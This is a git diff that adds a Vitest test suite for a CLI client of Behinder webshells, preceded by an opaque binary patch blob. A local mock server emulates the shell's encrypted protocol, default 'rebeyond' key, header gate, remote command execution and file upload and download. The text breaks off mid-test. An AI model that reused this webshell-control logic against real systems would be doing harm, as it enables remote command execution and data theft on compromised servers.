zB^ME8P#H_1E|x)o9#5s>MEu&-N%*O!<=C}c4mV{5-3{TrUsO`7SV_-AK;9Lr@N*p1 zA|h6ce6dDM#C@u$5yy#IoO-Vl=izYtgQ8x%Bi4$qQ1UIFe?Zw!qEQYLaXCRW$tmJw zoJ(6L>qLdzAWp?`pVQ>oVxv4qoQ@MEXUbc|*+x8#Z!McW@wDa5qS{r=@;vdHF?6js zvHZGt14`v6IY;~%WtyhRiQ-L^SyYPs3x5%Bkx%?YQ^ec&>Zg0fv*I22(YBld<H{;3 zO`Zd_#ZNGj@O3>SiQ38-hS_c6-K5m3qnl}T3Pp1=N41Fe4@S}ty~0gOWac2^c|Ny8 z2MquqB+kcgAzlDtTnJ)ZM8n0!us0XdOmV51yla(adz07r;W(ZOvVYL<?&Q0Hcsvz^ zh~ndf<`U;(;^>`z4bAn5Niu}QKRC;P5aDuoY8MMAhtFAOec2-Z$$IKrM0(=;k{-Q? zgFjgacizd1SSsvm5kDYCgVy?YS)otfvj0;^%l^C;DZz&l?y=FVMH;SNm`j_fn^AV) zapp{^E#pQr)6Qs-zS1(}AyW7^BoW_1GqX=tg^=en_{a@7;+p1ZYU34)E5Nc>!rEO$ zeZ|#uh`5%9itA{E*g|8)_4rx88-R}+X$I~K#ZB;lZic6K3zds)VC7qBwYUvF;2qQ; z?xc018Mgm7*n03=gW==hZvamT_M%(Fryx3(B=GB9pW%t&I*)>q{o|oDnZA<_7-B5E za}L-n1o!ze1Ni6AZLG&Y>%dOkB!3k$n4pQ;3W{XFnxtiiWDl1nGQ>2&dl>hUknB^W zbK1o_x$WZ3yms*#TaP?rJVG*((<1wAK`isjYEAZsp5O>a4nX7r{Wcly+O8IPn7o++ z5erlsx&$SUr<UY!$#bbCc?j*IMY>rm4#^RG2YjOp5aQ7P1&A>TAPQX|-et3p2Acre zCyy#?mE$<AklP~1F9~KqgUX4Ok61-^#14*Vlar7#uv_GeCEN)40Xds%%x#m!<)(*- zWeQv5u`ZM$xez+OC@mxx^F0uf$MHQqlGaYwMBv+Qj--R@^VFl%)FzkikSDpO!Bj7M zK%UgaG^j^qd7G@*Bdd#?h-1cTlWV%(cgnRI*?=R8(wb>RNHzgWG%O_7@ja`^3ds$? z0YXU5izF3xNS?~6IK%W70=v1$PH_nLGBQASiVN`@7uVumDqavTLl}mOzljf$`nw%$ zN8$kp!-Eiphae0saQ|9SYbT8s4?_rcfyp0%?tYXuiO1+Nv4^e^kAvBtpkIsM(QidN zZ5R9KA@MXl4m<H3^q>&WiGX+>zwq>e$P_Q)H;`Tux%d%=sp1v<PR;KD$*W?Scukb! zcNHq2XV-`~@GBy3inE}KnsNWF_%nX2;w`aLye*!_{RQzZTD^}}AK=SJDESz3_*8r- z{sH~}g;e67M({30SPWrE2%Z$Orz?2k2ieOAUSIL0?2RXdIesdR#*@Y@w;Ns03%jq# zU&)Qo>j8RNo-WUTL!3!1@=S=L4O`YI&w|^U2FtYu7BEBsv4$$-COoB!`{+=4jyxA? z_d`$Xv#6d&p5G|$K_9F>@9{(vjvw8aaPm0DIcp1@2G%`)3pL?w`}vR9C3(AVq7kZ4 z?~)fmmC8$stT41@URdYt4(rMmc{$Qvc;2@E6R?Ba+)PJ><Q34hDGk8Y5Y8(LePQ2C z)HCcuuMw^CRNn43d6j8}Ff<Q3^?K$W&JTM!_C`;IhLOj*5!`Y$|Eyq=YfNrbd<U$2 zj~V|!Veum!CjL!1`1OSmu!^I_ewu&;(ljY(HtzFrUx51}sc5N0o=RF&DScEY{j^Tn zbQ-93rVP+UP=%L6`CSQBceU(6H_8xg1?}#TeGG-&+~_?C3e)X|n%HcBA6;a7E#Zx< zHfmHMq#tTBTN*UTls7?BVN5EJw?N5in1sPz**fYkw;6T26(KU)YZyLxYl3n}2q?59 zT9BX|?zgqbJJ|3Q!SEF(s0i%IW~i5Mp<(53SRz5syBYt|GifRKy~p4e+v8vWrX=w? z3TBvOe|Qm@Fc1T%ugs!>av)CS4x$nAFe;RX(>OU8hwg^ZR5_H6k=X_>M}xZnVG=KM zJiG)^^LETvVliW&=h2Lyp7LH8A5BwJ=6hdqz8rpX;98WJFXow@m?Jn<HgBPTH=&T+ z{<C~Dh_W%S!|>~fe0PJSA#56D0p>S?966H0Si0yh$IxN2kh0~Gl!G5S7%j(}Ik}Ds zjG<YSv1wG2)&r8X?x5F>gTbE&u{y*5!2e(PCmS!%ky8Qxbih9Y@XrGLa{&J_fWPG6 z@Oxfnm<|SiOA`LAz&{7GBUA7{Fp2+c5TMn=zR86!{zK9gSN7t-FiCU|0)a`wIhSzG z<zj%lgbtC%fu+i5kX#CoPe=iEWD?cGlb|{ts<|gG?v^kL@MZ=A#IM09EE*>Q)Lowc z@hJNrV3`>ZjVTGR!T7A;vhuh9USVU4L~zxGi$d}Vo{VeCJT>$?BPI%?O@LYZ46A<A z%zZj?m;COsl`A$Cm}e!#CJM1xi8-#KVX~UW%GGqVtfA>LMswv_Dv=GeL^hduyIH*x zlk;9IA8`!^YV9@#V<0k_ZXi$s*7cluxi5hM@hf0}y}hjm!N57dz?n%5BxVkEYjCj$ z+5*bHgq1t=1(Z8$4n+1)9X{7*_H*Qobf7QdS6IV<)68+9ys`|3j&JjnK06Qz^%9a# z83b}-Afd-y1hQT{8!6t;kmJA5++D;iKthG&DL~w*K-_6S+^>MRjo{-m5c!-59di~? zaW?e!COQuB%raQGDDI8&d|EFrpkK)gX_LGddizqkL|#VM$SVwDT|K=uiP)=?h`l6< z*e3amiLi2DO`pXR>!Zn@PA-9_V;$wgDo26Q=YFh7<Qliw#%ha83bwG%B}joa5m!&I z04bh_ex8f_iykx10V!teB2mUmp)K;|R{6)0Jb0e37V!e+2CNwIdQn14n<A5*OmJw2 zU3|?jB<t;o#L;jn16~U}UI#pG0UmFlq4GvJ@>_w&n`jcO&tzDhxv(^)@;2b{PJ<^` zZ?8z=X{mex+L}X!1!mPx!iGgKMgiuQ554^cd<_kYaY({W!H+uL6UNODQJ7eo4)C9B zr-__Yee(ajHjx9@df;}GrOSl!&W0oDPO&#jy1bkG@*c?4Z)qa#Q{{bT8t!uUbZ;5} zL2}5<i#_;BJ`cQS03NHg8W+4O7d-hUV!8im>7-2WkZ*Y|_B$r~BH!xbVwbvcVGaVq zT%N`f&UhwfF&X*pk}k7(0JC`z#CV9Ra9<-^&1~G<V@+~4HQsChyL=a!Z{!~3-x6#G z!N3po!i63Jc6*O?Ai}NQ$mqRrljtsrcgYVBmwZ@~(<VPE)M0%SZBT_4QV*#8sWz_s zF7aSl*lLxZx%rn#MLuNRD3HgJ{l$_^mI%Y`+qVB@=!>rqYZO_EBk5idE9}cdC@sI; zLrtZdd;+hiv2FiHZSn^bm9)tHdz5NXR&g^_twN3nxt)Fdm~I|hR7R1N+oF2%vh3!v z9-3NJxX9l_@-nNf3b7=Q1U)MtL{2K4)}net0YMKTYERp`|5FCD%V%HeXFo5?ci1S^ z$B2#s3*Rn!Lv-!{6Z3sLey^49E}vb)G=Pn<<t_@zM`5!bgZs7zCU!6M`Qs3&Cuoj* zlIF?Z(PF$Wmrqf(e41kN8K|SD=>n*P8|3qJ6GZ6_`7+%lU!m>tk8tB(rAOpz^b~~X zMNsq=`4{?=e2d<YZ_|6Ye+im?E8n9Z@OuhMz9)k6Bhg!aEc(b##G&#t!x`5>I6>)z zxQYQPV)#5PggQj^Gu-xr>aQ}v>4(u*@_o3K8mjjQlTWd*ZNO0j(87ncrBUio#n!V1 zp$KPNd<30sasd`r?3Su5xWYcH$CapoSmgC%6>g>)gz;^91#UIx2hy+}k+jO{umnfy z2ha}gpqkmH4sTJzk~yZ7^ioLWBaM{ZqDJ5r5(mi(hZGV}8`)?fdD$fo{WA^5a9^sh zO&$63osKhgCUmV6QWH^Bk_XfH0wNnVnPnw-{LOSIZUr|}Uxq!;P0a34)6ofXqp8X0 zkeY=;G*6igRzW&fnS;-m^W09gI$>p=TjSWDud$G8m^I0?kXnqOoZE9ji#o1NElZ@| zJ&dAq*Cehw!R=x1KID2+d)WIw_i&Qi!;@Wmc=CVlp&UJgRE5u7j#g11A4)T%s?38G zQq}yx`QXk79nu-0+>J4fskJ&GbPZ~>soE~xOw8G->IIeL?WLwIG!hHjNOYvMgE?mS znsAM1K+>r>+O89H{r=q`<te;|zA$g6+9+tJ+9ZhcBt;RuQ(Y*CdxcY#Toi#<l;{;{ z$erpkNoHv!!TsFqa_;$YlL4QLWh>)_LYRL;`-P;>WQLp%clt93*93KRQe{2PKZzv2 zhB3k33;8XLl;6<``8}O0f1uyUAL)MiZ+cYzhn|%`(L1n#`xW#BewJjgvcyc~6UQmP zI0yF&@KYq$t2D6>_h<17BX6p7nWh3VLuJT;s+&AYb(fRyJVOQLT-@iY9&(}TDNk0t z<h3d+uUEb0Hq}S|TJ@Fps)&3QWpAtg@;#L)KU4$cH|kLNy~<Kr4O9hCKS!y<)zNCO zny7{v^>zwJpK7M3-u!ATepBO0nD6eWeU)*C?}s|N8czxv3Z|%Q)U~7$S`2c%5%@Mo z5br@!@?I>en;j`os7uv#Y75G~p=tQRf$K>_?d6!SmYV1(Ft`c|30Kcmcn@lk!;1O4 z)Qx4W>ZZ9lyVT8PZE9PKYJO1Nop{*Zsvc-jEy-<0xgqs%UYmNPO+C(Ae{N$>n?8x? z?H!clmAe^m1QN!kkkh9sk8G7sX{vyFs}Xc4?t}0?L?Iwjqo_!Yrb%iHpg#gCxR7S4 zu?AbN@0M5q#b0w#zf<j)!4Mj#_Nk{}4Du<Wo;EvlCP9I7a#v%6fvd84#?N5JQauZp zcp3dO4yk;D;oD-<tg6Zmsps5~O1;2dEZ$$jy##lx-b{ky8d87Y2MZ5atAXEu2e_w` zu)M?zuOamYyx^Qx_2(ixw_WwjYggT{PeQR-SJ)xdF85>YN&YKhx65xr>Mi(G*a~PN z<Ehxc!gCLPem7Ab2&wl{%0Eac|1j~4`X48s1vmc`@hXzcBUlbY>NBiO8YQj1FtTj~ zo0m32>Yups+87d_4}{d$ZZqT^xY@S{X{NsKXmD0Y{i{=he;=fQ@K#QEgkwYMr_=^; zeSQWo52UP+mTrUI1|*FYSThszJujr;h;cI9msgaA46)cKiUJW}I^t{7c2R)wnjQ&Y zJw8$B;Co=F?hcie9`T2Cn9(Hg&<E+^^oYGvM<f+xL^5{jLs6$&q}xtCSWsbiRTylh z@eD-7aji{uNN2mQWTaa-sF&~5xsr_X)&&N^-qLE3vneRT!EpC&`=3Z{pET!1PBSh4 zul;AZ{g3+p+CNVRrx&i@e<MGQ#a@W?of-!f7!^n1=CF(CPQOS}Auy5p*~R<>U_R`$ z=!qdc#bp6*#OU<&wOef(sv(iOF{Edt)B<r5p|PH2{LyY^2i1Cr-znI*w+Z)i5nx`9 z`xUgsq&#ner}}HW{|4LK9>l!`%5M*SCLTwM`z72TlRrRZe1@Ns%I7<hnm?#T-aGD4 zo=5S!DpCvi?)tf+1W9^Q<Dq&cP!PtXFO=axHHos-WE!oe(0DbKiq$l#RMV+W&B8A@ z%%)RRF`cPO=v+0QE>XwQ6>2eUQA_A1RYrHHrSuzh65X$sQ;VvkM^%&_SJm`8wT50) z*!`qx>1*77P<6tmVj>$Bc&u70mf;s|R;fmDv5Jc=s!80V){9pBQq9BaH1Qbh>f`vy zndjA+;uV<JKdE!XyXrjgi8^0=i{Fm<QC%o~>LS@)T`c>mOXL7`smy_0or?Qx+~?uG z5alPTD`b<pQm$85$&Ko2d6BwC-iG^KxZj8SgDBsvw#YxC&fDq+{NUG(@*ire{94@v ztZq{len`bpx2cf29oW26ja1FR=G|(M`mI``?p4dx{YE8!h~J8a>P-0O>Lfh}#tPvy zYQ1O-SYI_yAtrzU8>nWe-{VOG;}g^$@niw-W7MDU<OB9|)a!Wig9e8{QQrl%jpV*D zbZOYenRxo0yj&lHuW8_hT0K`6V^QD}F-@1~c~}(qk@iFF--X<pkG|IP^|6#8yVECn zfi9(PvM;@>7s8M4F8kqNJ;wk+q+z@#Wl^?Xgfa(a$W3<yKxy|W4Rh*9P_G5#9QY4* zBkLY+WUUtqY(*HDNNRMpf&H+zIbj1$V6R%qui7ZA9;W_k7iFqP3_{(&ez1qo%nsY7 zk4so<F&M+MwLTRgEiXDE@1n~%KaTq{yqDzdBjhi?Ez8lZ`h=9UxY%!U<IOa9mtJ0$ z6VfYMbtQk#L$G{Ki>~4Xx?YV+dX1Nw!Ip*O3Ydl<C$=mAAAPaSx*|ELDM+D^+6(D= z9MpdT()Bw`teu9ceUt~|JW4%HV?oy<nBSS|IXYH7PfOGbbi8_rD!?I8^@>5jEN}p( zmf$EPzIgeF6Eth|QW$iJaVzxkDC4!<pmY=KGZD4kt82hpQA%zB(6vdF{T2x0P2LZr zpsWt4VwBZ0$~@Fzy1KzNJK;nk5o<$jI?k#qq}RFM=EF(W>s$1xg;t*Tfb|{(@qSJ& z=CtaKya*b$fYZ~Di`XWIi0B@xp_{{L5&v%NzmE8~NBrTmHhng_J<llApIL0gqy}Q^ z*bPAS1Y{EVela$V^8G68bLM+WZV}>StJgq+*Fl0eAark1j`|BtP;UY4Zv*Y`z(4#e ztj@c%TK$b0)q8ZBdLK&e1G+%{oi0`%(N*eGx<P$LTh-@=B<{}W2a+VYJ4uq;bPR-G zlH8y#FeDjBSLh4zq_NR)D#-M2Abu%=gtd6`A>1CLF9H$$STo8tnMbTdA$MnjYwVGB zNoP?SAGHV3Iptl3cAUlv^?SrF&W3}Wy}MtVz8I@%Df=+YHZ$z?(&}64p}sR<XSvPv z6&R5J3+XEX1df_fcYT%NB*DJ{<_;qUqc#t7c1T~10Lb#S=xZSr<NMj$sCI|G!A*qe zt#G!=9?&;*NrZ*;%~+N$#)%I;19Bw7nFTxaHm}WXZkugg+PKF)a-lSE>_eT76d?BM ziS2Wd3bddt24NlNPMm;Pj6LReB5S-JLV-94_cL%m6?o&jOL?=MP(iV&|4=WrpC)Od zm=?4_D>_yC=rrx8jXFSQXot?!83sLWD*kMbs@-X=zQdqr5;iOISqF&`5?lYy^q$y< z#t+$fl$nP+tHE@{g~z%+zq{9vvn&bF3}tkPEZvKIy0;nHRdVUx&_2}WJU@1g@(<m( zokJVrHz<+&xmuL$(06*6{I!e8JG)|1WARUTc{(h&hJB;V_7#0^NZ;?eiKBMt2fR)m zayxmTOD70cb*rHXl6^hUo5}D+G*)}J!+{qWyz4?g9I-@;-m^#V<*eaO{RCV^e>43h z;x`d+kqsYwhxRtD>2`OhC%X=X;}N{a{CZjioq$KcA5ewq%{2d)+XlkvqY{t~i13>M ziyzP#gZ30V+}$>%i!eN3fPZf!Z66=_IC7VMrmR&zR}{c%QAQ*X($D9#=ogoOW6j%3 zQ2sA2iKJz-bNGs)5_Y1YyiAb31zU;Q_xIx>EMG%{15n9*z?t)~VsJd}55q;<hx@nm zZ=rC%Q_K<@;jA5lKYM~ZHr!q+HYeHQ3OXD?7!r6olZNR5l%o%&kvfZx)B~we52BOx z;o#mwX_Fp87wDmMnI1;h>)~{pMuJ>pzn9LV9Xg-h(gpOP9zmb!ks?!%5<~Q8aRh!I z=SV$5OogL63tsLqdYo9O$BX0i1hGO-6f5;4QLm?nQ}I(aXXtEksh%aSgj0buC{B@J zM+2CSHxS`JakYLGPl#gi#BL049KKTj32q1eZYp|uO}`F>k|Qeg8~V>+<a}Ce919;b z^Vj-K{TFDj+X(I(;&4B<9zSQ|bsJlbpVn{bx8YuVNXzs)=p{g(VAB&jCF$7NH&p*s zzl*Xog<nQ=MFJ;D_|y<lxtHTUrcM71JCcufb31$Vdr1B24?(rVke@-eXOI4bje9$V z*rNXfaVwHA`U^=*@ZDr|-bkc&9y1%5cj_+%wdt=}ifwqyi<9IkVzj`+vf)uVdNDNU z5{kej8KBE(AnbCkUIy|V5AvNrlTkJYbxL(PEzuPQtsJ`BRHnZJLI`p_Q-5y~9TBwp zLH`RA8-PB3M47^7zOeqc{twW4Bs9WLKsuJ46n+=eL&Nvzi8XaSysy3Ow1T~_y^x}i z-jAT{e_GnWjw;>`a##*GMWdN~MC7zmC}LLMHq`gISmN!oJ!BF7$%Jl`l!atN9+;b; zlvgLQW0D$r75Q~F_0+3j?yBi%y@sa1BUuD5q)gY*iMpOv=tf$pPo~v+J-nF>1~cxW zd%dR%kEUUkhVm5<stk({@JJjuOXx?zKQ!Gnfq|Gwq6Se8)<Cf7cOY)(7W4MT9=VyL zkhNf+ua!41=0X>Ip3`FauuOyW8A~9n3>K{QMu2`g2zw^=&}UI^eKz&S^I&~0T;lT# zn69<R@xa7jRvK0idHFkH1+bk_f<gKi?p3hjJ}VtxVTAZ>K5D^^W6Qt0opHIxy-*|V z@c(&jW=LMx8s)CS^l*=o&ES<7ETTlTNUq87zMI$0c@?Z48f%N?7Au1fu3-I@&nMPm zDcjrbz6?4kVS-%pTm)vim@@Pwa0D&|^Iit#y_|;Y&0xGMXf(<v=xb=9zK)L9TR^TG z%)A#ce&Dwxw#6?O?x`v+bI%6iNn}~wNkNuNtss^nG&EzL!G(pj#6zqeAfpe*L~LVM zK`Q<$buLyA@@gZ~1Kf!rRbytuJCv;)P>$zhd2>Qv$vK%ALf-<KZ3E42r9<@Xpcy=S zK<nno1|(q~kc4?a66OI`Ps^BQ?2TaPH7MCF2_ODaod@6Dm>27uq1d(5Oqn^kc`a6m zwF(;@0qqkgvcOWk=jQC&|2{H*XyyY0M3R7-4JaDjXl%&R_fj`~AN4}L-uiy(r*}{m z$`9A>5jGd_p-I4pVnLkGj$`;F;6ni}1Fpcn?51d(%5vocZX@{MkOSm{H!1NHrikL~ zz4|^rx3)*$hb6k<qJ&qcd14Vh+++1CHnViVPa1RLY3|$qVJ=S<XJhmpo?U-vfZ@s6 zxq5LY%-F+VuU(kkBOu44V6oj`vByA?y>ys<9KW^o1WeqMGzw*7^;0xnKb=CVDTY7* zk)~LO8gnCQl9dL7A~An=o(eb}VDQ1oT$mDgOo&4HuS~k6lCOiocwKaBPRPn?vj!FC zx_4}NFiWC5&t8c2SfH}=Le}A;#TtTGasOv5gkmWaMHsu<z71K!_=}N8F*!Tp3t2dt zi~@hN7?zD#2CCLFr^njqABp$;|AXpnrxrBBVgb5=9M44GymEkuiPu-G5%4i0SPw;= zkj4E%J4ftN)H27Ga3pp{=>N2e{fmbLS?G|bir5{4QSA~l{wQzelpnIjC>RE4rkC5S zLW2h5E#mka;7r!@3EmRB@2A(<Q}UU`WLCgmZTsm~_i&treIXYh-E}8@ML&SI?-YHo zXY+8pj}_;N3&2{0KYrE`)tTj4{Q^wyixh+p649@Kt$q)-`UB<Rc_ciPvHCTd1s|eV zzX4<OXK1iDsRpLDNxwx~alZ|oMw@<z_UXUU8}KXM*MAcu^}C`_zb9tmM~zDL2V$}Q zyI86}6y>;A>W@TBe+&=l6R{CLPIRXJvp83OAuiIditF?@;zs?wVPCWBL?m{dfc3zD z?7-u%yje#X;}sO=TSa&R`-;=8aYj3i5tW{HoF$I7#^bAx%0!+u0Z)EvqZ=&VCu)mA z%Csgz#M96#{t~3i=GcVfMjduGoNE&;v4S`-<Ur&JC&C8@f_0)Ba@f`+^o*oG1j`FK z2!Gnv>v;{J<aj10TaE5P`!{B5a|_z*&&ami#~>bk?qlEeXN>RH<ybCkcP6a%P~3-G zzLbG;tjQ({9S(_Q7Y~7y#*aIC1CLKk2@7EHHfu`9`2rulkQGSj$xdoV+hn>pYQhh= zxIHOGC9jy@pvGtKp5V{kZ7uiJtim2tS*UfPwSxu~`T7<5`}eE#)%aEw+Wo@zavbx< zE{Wb@JFNXEyq(hBheGT~Kpy?>upgB;Q*m)&de~p+gad^c%{Yl0b~ZU8ftJ)a##hJ3 zGYY%qg)=r~2%Kl?7VLRiaN@=>n-``OIR_T`4lFXQ!cI7S+y3*zfCCfouVP@r&T^bj zPcQTX&a`d&7l!@)Z>6iV!~RWv7rMgqyl`MsfX7d_PQloyaSIi66#Cb@Fomrxbi7*} zoB#;95gwZHdk!hRIb9lt9sen3m>GG4I95u3UTt(^&e`*cJaCxnd)<mPJAyHju)mfS zq#!(nkkylVTOsOa^`Ze*7_8Kr@~l2I!RkxXtq9G6fjh?PM@y{!w8F}yORNEO3yj7C zRu;8e1L;+i|HV3tKC}*}&#l4q73%-X8j4^1874CDBT4<C%Ln1Nk;XuSABA5<nquXP zW2_OP#2P7<L5nruhmST{W5fmc&7&(I!z?>3I6MfJvZfmrmST%F!?3U=uCZp~35OiT zMb<2Q#a0u@`)rhH>MhQ(=HQT_Mg7DX)-hmAAAF5pS#$B#4}T(V730Z<r&MQ^;3<t} ziBfAGo&q>LdZRTTPwBLb&a#fhlS3!bMr#3{GO$=M+bYFVH^ffq7AJHa93VZ%;^b|* zSVm*5#asq=V2P;k1jEMYoKCn7XIydU%g;Y}0plN^t0v^^J{nuTGy7K-S~;1za&&OQ zEfm_MMNX#WzWDGG*4JY<x8>Ui_rcHi%0lhKeYwA86}E;W_2=s$=#c;`f7xaoXEqY{ zi1;CKVS7y2o@Wk(;SEkKehvY@!Sd5Q)WM#gU{98^3v>E!k_moAVlX|wtT6pX8XZm# z{&WlFh66z#pz5D_Glkun3?+V+A=vX4D&1u*D+^gCv|1-U7EXh31lFHXn6@eKuW;Z- z8p+29dGNGg@RZF9JKpTnx6KO~3_#OAbKCxP?r6O_>T*kLb`J-xr$L=dJKngzW(uRN za|?BIL0WD=;&X5}(}1uIETu<$Dw3{H61LqeUL>78jSi`JhDJduCXgRiARYQT2-Vrs znnGb~D)oh;%LE?|1qWt>_r`$h#)7w|f~$@J7cB+<l!J4sz%#Yrmi4%A0*71#-nbN8 zvDsQeS6le?2CIy2x0cd<)-r0bj;B9ZC(zs03i`;Zpiiwz`qGNherqKprb_g+RzYg2 z#i7=5;&7{0<XCl(oS2ww)r)!7T5*EaAgZi5B<EytinR{BzFus$Hi)aOQ;qbv8HMZ6 zJ6j&Mhb%|<c`k9Tkp+pp{AU{pP&f;61|VSR$rPs&|6T;Lr?8PMTRt3x!dw9zXHO3? wX2hmTMZn06jdOl}BNb_MwNQYc<>+?g3CH0nU7UfSnv<Te&elrSKvvcN1AhopMF0Q* literal 0 HcmV?d00001 diff --git a/tools/cli/src/connect/behinder.test.ts b/tools/cli/src/connect/behinder.test.ts new file mode 100644 index 00000000..29887b7b --- /dev/null +++ b/tools/cli/src/connect/behinder.test.ts @@ -0,0 +1,538 @@ +import { createServer, type Server } from "node:http"; +import type { AddressInfo } from "node:net"; + +import { afterAll, beforeAll, describe, expect, it } from "vitest"; + +import { + downloadBehinder, + execBehinder, + testBehinder, + uploadBehinder, +} from "./behinder.js"; +import { readStringConstant } from "./classfile.js"; +import { aesEcbDecrypt, aesEcbEncrypt, md5Hex, md5Key16 } from "./crypto.js"; + +const GATE = "bh-gate-value"; +const KEY = md5Key16("rebeyond"); // e45e329feb5d925b + +/** In-memory remote FS + failure injection for the FileOperation payload. */ +interface BhMockState { + files: Map<string, Buffer>; + failNextAppends: number; + failNextReads: number; + corruptCheck: boolean; + /** Number of mode=check calls seen (must stay 0 for big-file transfers). */ + checkCalls: number; + /** When set, checkExist lies about the remote size. */ + fakeSize?: number; +} + +function newBhMockState(): BhMockState { + return { + files: new Map(), + failNextAppends: 0, + failNextReads: 0, + corruptCheck: false, + checkCalls: 0, + }; +} + +function echoReply(classBytes: Buffer, rawWithMagic: boolean): Buffer { + const content = readStringConstant(classBytes, "content") ?? ""; + const json = JSON.stringify({ + status: Buffer.from("success").toString("base64"), + msg: Buffer.from(content).toString("base64"), + }); + const encrypted = aesEcbEncrypt(Buffer.from(json, "utf8"), KEY); + if (rawWithMagic) { + const magic = parseInt(KEY.slice(0, 2), 16) % 16; + return Buffer.concat([encrypted, Buffer.alloc(magic, 0x55)]); + } + return Buffer.from(encrypted.toString("base64")); +} + +/** Emulate the Cmd payload: run status/msg envelope for the injected `cmd`. */ +function cmdReply(classBytes: Buffer): Buffer { + const cmd = readStringConstant(classBytes, "cmd") ?? ""; + const status = cmd === "please-fail" ? "fail" : "success"; + const msg = cmd === "please-fail" ? "boom" : `MOCK-EXEC:${cmd}`; + const json = JSON.stringify({ + status: Buffer.from(status).toString("base64"), + msg: Buffer.from(msg).toString("base64"), + }); + return Buffer.from(aesEcbEncrypt(Buffer.from(json, "utf8"), KEY).toString("base64")); +} + +/** + * Emulate the FileOperation payload for the modes the CLI uses. + * Envelope encoding mirrors buildJson(map, true): every value base64'd once, + * JSON, AES, base64 — so downloadPart's msg (already base64 in the payload) + * goes out double-encoded, exactly like the real shell. + */ +function fileOpReply(state: BhMockState, classBytes: Buffer): Buffer | null { + const mode = readStringConstant(classBytes, "mode"); + if (mode === null) return null; + const path = readStringConstant(classBytes, "path") ?? ""; + const content = readStringConstant(classBytes, "content"); + const blockIndex = Number(readStringConstant(classBytes, "blockIndex") ?? "0"); + const blockSize = Number(readStringConstant(classBytes, "blockSize") ?? "0"); + + const envelope = (status: string, msg: string): Buffer => { + const json = JSON.stringify({ + status: Buffer.from(status).toString("base64"), + msg: Buffer.from(msg, "utf8").toString("base64"), + }); + return Buffer.from(aesEcbEncrypt(Buffer.from(json, "utf8"), KEY).toString("base64")); + }; + + switch (mode) { + case "checkExist": { + if (state.fakeSize !== undefined) return envelope("success", String(state.fakeSize)); + const file = state.files.get(path); + if (file === undefined) return envelope("fail", ""); // payload: throw new Exception("") + return envelope("success", String(file.length)); + } + case "create": { + const data = Buffer.from(content ?? "", "base64"); + state.files.set(path, data); // FileOutputStream(path) — truncate + write + return envelope("success", `${path}上传完成,远程文件大小:${data.length}`); + } + case "append": { + if (state.failNextAppends > 0) { + state.failNextAppends--; + return envelope("fail", "mock injected failure"); + } + const data = Buffer.from(content ?? "", "base64"); + state.files.set(path, Buffer.concat([state.files.get(path) ?? Buffer.alloc(0), data])); + return envelope("success", `${path}追加完成,远程文件大小:${state.files.get(path)!.length}`); + } + case "downloadPart": { + const file = state.files.get(path); + if (file === undefined) return envelope("fail", `FileNotFoundException: ${path}`); + const pos = blockIndex * blockSize; + if (pos >= file.length) return envelope("fail", ""); // EOF -> NegativeArraySizeException + if (state.failNextReads > 0) { + state.failNextReads--; + return envelope("fail", "mock injected failure"); + } + const chunk = file.subarray(pos, Math.min(pos + blockSize, file.length)); + return envelope("success", chunk.toString("base64")); + } + case "check": { + state.checkCalls++; + const file = state.files.get(path); + // empty/missing file -> the payload NPEs on a null msg -> empty body + if (file === undefined || file.length === 0) return Buffer.alloc(0); + const md5 = state.corruptCheck ? "0000000000000000" : md5Hex(file).slice(0, 16); + state.corruptCheck = false; + return envelope("success", md5); + } + default: + return envelope("fail", `unsupported mode ${mode}`); + } +} + +function startMock(state: BhMockState = newBhMockState()): Promise<Server> { + const server = createServer((req, res) => { + const chunks: Buffer[] = []; + req.on("data", (c: Buffer) => chunks.push(c)); + req.on("end", () => { + const body = Buffer.concat(chunks); + const fail = () => res.writeHead(200).end(); + const ua = req.headers["user-agent"] ?? ""; + if (!ua.includes(GATE)) return fail(); + + // Behinder shell: base64(AES(class)) or raw AES(class) + let classBytes: Buffer | null = null; + try { + classBytes = aesEcbDecrypt(Buffer.from(body.toString("latin1").trim(), "base64"), KEY); + } catch { + try { + classBytes = aesEcbDecrypt(body, KEY); + } catch { + classBytes = null; + } + } + if (!classBytes || classBytes.readUInt32BE(0) !== 0xcafebabe) return fail(); + + const raw = req.url === "/behinder-raw"; + // the FileOperation payload carries a `mode` field + const fo = fileOpReply(state, classBytes); + if (fo !== null) { + res.writeHead(200).end(fo); + return; + } + // the Cmd payload carries a `cmd` field instead of Echo's `content` + if (readStringConstant(classBytes, "cmd") !== null) { + res.writeHead(200).end(cmdReply(classBytes)); + return; + } + res.writeHead(200).end(echoReply(classBytes, raw)); + }); + }); + return new Promise((resolve) => server.listen(0, "127.0.0.1", () => resolve(server))); +} + +describe("testBehinder", () => { + let server: Server; + let base: string; + + beforeAll(async () => { + server = await startMock(); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + + afterAll(() => new Promise((resolve) => server.close(resolve))); + + it("verifies the echo round-trip with the right password", async () => { + const result = await testBehinder(`${base}/behinder`, "rebeyond", { headerValue: GATE }); + expect(result.ok).toBe(true); + expect(result.detail).toMatch(/echo verified \(\d+ random bytes/); + }); + + it("handles raw AES responses with a magic suffix", async () => { + const result = await testBehinder(`${base}/behinder-raw`, "rebeyond", { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + }); + + it("fails with a wrong password", async () => { + const result = await testBehinder(`${base}/behinder`, "wrongpass", { headerValue: GATE }); + expect(result.ok).toBe(false); + expect(result.error).toContain("wrong password"); + }); + + it("fails without the gate header", async () => { + const result = await testBehinder(`${base}/behinder`, "rebeyond"); + expect(result.ok).toBe(false); + }); + + it("reports network errors", async () => { + const result = await testBehinder("http://127.0.0.1:1/x", "rebeyond", { timeoutMs: 2000 }); + expect(result.ok).toBe(false); + expect(result.error).toBeTruthy(); + }); +}); + +describe("execBehinder", () => { + let server: Server; + let base: string; + + beforeAll(async () => { + server = await startMock(); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + + afterAll(() => new Promise((resolve) => server.close(resolve))); + + it("runs the injected command and returns its output", async () => { + const result = await execBehinder(`${base}/behinder`, "rebeyond", "id", { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.output).toBe("MOCK-EXEC:id"); + }); + + it("handles commands with spaces and shell metacharacters", async () => { + const cmd = "sh -c 'echo a; echo b' | tail -1"; + const result = await execBehinder(`${base}/behinder`, "rebeyond", cmd, { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.output).toBe(`MOCK-EXEC:${cmd}`); + }); + + it("surfaces a remote failure status with its message", async () => { + const result = await execBehinder(`${base}/behinder`, "rebeyond", "please-fail", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + 